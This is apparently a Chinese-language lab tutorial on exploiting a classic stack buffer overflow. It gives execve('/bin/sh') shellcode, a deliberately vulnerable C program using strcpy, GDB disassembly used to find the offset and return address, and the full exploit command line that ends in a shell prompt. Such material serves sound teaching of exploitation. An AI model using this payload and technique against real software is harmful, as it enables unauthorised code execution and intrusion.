0x01 环境信息
OS:Debian3r4
GDB:GNU gdb 6.3-debian
GCC:gcc version 3.3.5 (Debian 1:3.3.5-13)
0x02 代码
shellcode:需要注入到程序中的代码指令
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
victim.c
int main(int argc,char *argv[])
{
char little_array[512];
if (argc > 1)
strcpy(little_array,argv[1]);
printf("str:%s\n", little_array);
}
0x03 流程
要执行注入的程序,就改变代码执行的流程,和前面文章讲的,可以通过栈溢出来覆盖返回地址,从而达到跳转到指定地址执行已经输入的代码指令。
简化的流程可以用图做如下表示:
所以要执行shellcode最重要的两个步骤就是
- 覆盖返回指令地址
- 恶意指令的起始地址
只要做到了这两点就可以成功执行shellcode
根据0x02中的代码,来尝试执行shellcode,下面是我的结果,当把指令输入进去之后成功跳转到了shellcode里去执行。
0x04 调试
yerx@debian:~$ gdb --args ./victim $(printf "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68%0484x\x30\xf7\xff\xbf")
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux"...Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: sub $0x218,%esp
0x080483cd <main+9>: and $0xfffffff0,%esp
0x080483d0 <main+12>: mov $0x0,%eax
0x080483d5 <main+17>: sub %eax,%esp
0x080483d7 <main+19>: cmpl $0x1,0x8(%ebp)
0x080483db <main+23>: jle 0x80483f7 <main+51>
0x080483dd <main+25>: mov 0xc(%ebp),%eax
0x080483e0 <main+28>: add $0x4,%eax
0x080483e3 <main+31>: mov (%eax),%eax
0x080483e5 <main+33>: mov %eax,0x4(%esp)
0x080483e9 <main+37>: lea 0xfffffdf8(%ebp),%eax
0x080483ef <main+43>: mov %eax,(%esp)
0x080483f2 <main+46>: call 0x80482e8 <_init+72>
0x080483f7 <main+51>: lea 0xfffffdf8(%ebp),%eax
0x080483fd <main+57>: mov %eax,0x4(%esp)
0x08048401 <main+61>: movl $0x8048524,(%esp)
0x08048408 <main+68>: call 0x80482d8 <_init+56>
0x0804840d <main+73>: leave
0x0804840e <main+74>: ret
0x0804840f <main+75>: nop
End of assembler dump.
(gdb)
先看一下gdb反汇编的到的main函数的汇编代码,通过测试输入不同的长度的字符串直到出现栈溢出,就可以找到为数组分配的空间大小,因为涉及到字节对其所以可能并不是512个字节,这里输入了524个字符出现了栈溢出,通过分析
0x080483f7这条指令也可以看出,为数组分配了0x208个字节的空间,保存数组内容。所以524个字节必然覆盖ebp,所以我们可以使用524个字节进行填充字符,然后再用4个字节指定为我们shellcode指令地址的开头,这里就是输入字符的起始地址,就是ebp - 0x208这个地址,所以的出我们的输入值是
\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68%0484x\x30\xf7\xff\xbf
前40个字节为shellcode指令,中间%0484x为填充字符,\x30\xf7\xff\xbf为返回指令的地址(可能有不同)。
0x05提取步骤
-
先确定栈溢出需要输入的字符长度,通过分析知道是524个字节。
-
shellcode是40个字节,所以需要填充484个字节,然后还需要4个字节覆盖返回地址。
-
查找main函数的ebp地址,找到shellcode的起始地址。
通过如下函数找到起始的ebp的地址:
unsigned long find_start(void) { __asm__("movl %esp, %eax"); } int main() { printf("0x%x\n", find_start()); }
得到0xbffffb38,shellcode肯定比这个ebp的地址要低,所以先任意找一个小于0xbffffb38的地址,比如:0xbffff948。
使用如下命令:
yerx@debian:~$ gdb --args ./victim $(printf "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68%0484x\x48\xf9\xff\xbf")
设置断点 b *0x0804841e
(gdb) disassemble main Dump of assembler code for function main: 0x080483f9 <main+0>: push %ebp 0x080483fa <main+1>: mov %esp,%ebp 0x080483fc <main+3>: sub $0x218,%esp 0x08048402 <main+9>: and $0xfffffff0,%esp 0x08048405 <main+12>: mov $0x0,%eax 0x0804840a <main+17>: sub %eax,%esp 0x0804840c <main+19>: cmpl $0x1,0x8(%ebp) 0x08048410 <main+23>: jle 0x804842c <main+51> 0x08048412 <main+25>: mov 0xc(%ebp),%eax 0x08048415 <main+28>: add $0x4,%eax 0x08048418 <main+31>: mov (%eax),%eax 0x0804841a <main+33>: mov %eax,0x4(%esp) 0x0804841e <main+37>: lea 0xfffffdf8(%ebp),%eax 0x08048424 <main+43>: mov %eax,(%esp) 0x08048427 <main+46>: call 0x80482e8 <_init+72> 0x0804842c <main+51>: leave 0x0804842d <main+52>: ret End of assembler dump. (gdb) b *0x0804841e Breakpoint 1 at 0x804841e: file victim.c, line 14.
确定main函数ebp
(gdb) i r ebp ebp 0xbffff938 0xbffff938
确定shellcode起始地址
0xbffff938 - 0x208 = 0xBFFFF730
修改输入参数,把跳转地址\x48\xf9\xff\xbf变为\x30\xf7\xff\xbf。成功执行了shellcode。如下所示:
yerx@debian:~$ ./victim $(printf "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68%0484x\x30\xf7\xff\xbf") sh-2.05b$